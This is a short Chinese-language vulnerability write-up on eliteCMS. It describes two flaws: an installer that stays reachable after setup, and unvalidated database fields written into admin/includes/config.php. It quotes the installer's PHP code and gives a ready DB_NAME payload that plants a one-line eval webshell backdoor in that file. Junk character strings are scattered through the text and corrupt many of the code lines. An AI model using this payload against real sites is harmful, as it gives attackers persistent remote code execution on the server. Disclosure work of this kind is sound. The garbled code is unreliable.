eliteCMS安装文件未验证 + 一句话写入安全漏洞

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eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
2 `2 v- H$ X% H$ X' z我们来看代码：
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" h8 B* x/ B2 D* f) I, g- K# X" \...
elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
7 O2 H$ f( O! x$ h8 p/ w6 T( y    $write = "<?php\n";
/ Z. c* E5 N7 R0 z- m& k, P% o    $write .= "/**\n";
    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
" W7 S  M, K4 I7 T    $write .= "*/\n";
    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
7 z! K( s) C+ X7 e$ {    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
% M4 n. \4 d6 r/ a0 x3 r    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
9 n. v% n& k% ^5 `" U5 E    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
$ ~$ X. d1 X6 r  l    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
/ R2 x  t' T- Q! N    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
& O8 l4 e9 j  a$ V1 d2 ?7 j6 H    $write .= "        \n";
& l# }1 E4 B2 x2 r, G- @    $write .= "} \n";
2 }2 m$ D9 ]7 }$ @    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
; B/ W$ a$ }. H# w$ c    $write .= "if (!\$db_select) {\n";
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
    $write .= "        \n";
    $write .= "} \n";
    $write .= "?>\n";

    $writer = fopen($file, 'w');
4 E1 a  X+ j( ~$ z...

: x) r7 t% V' G" `6 _/ t* o* Q在看代码：

7 R9 |0 j3 [2 P  j! k$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
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取值未作任何验证
/ o9 M% b, y0 T1 \, \9 U如果将数据库名POST数据：
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"?><?php eval($_POST[c]);?><?php

& L" G6 _* I( f  Z将导致一句话后门写入/admin/includes/config.php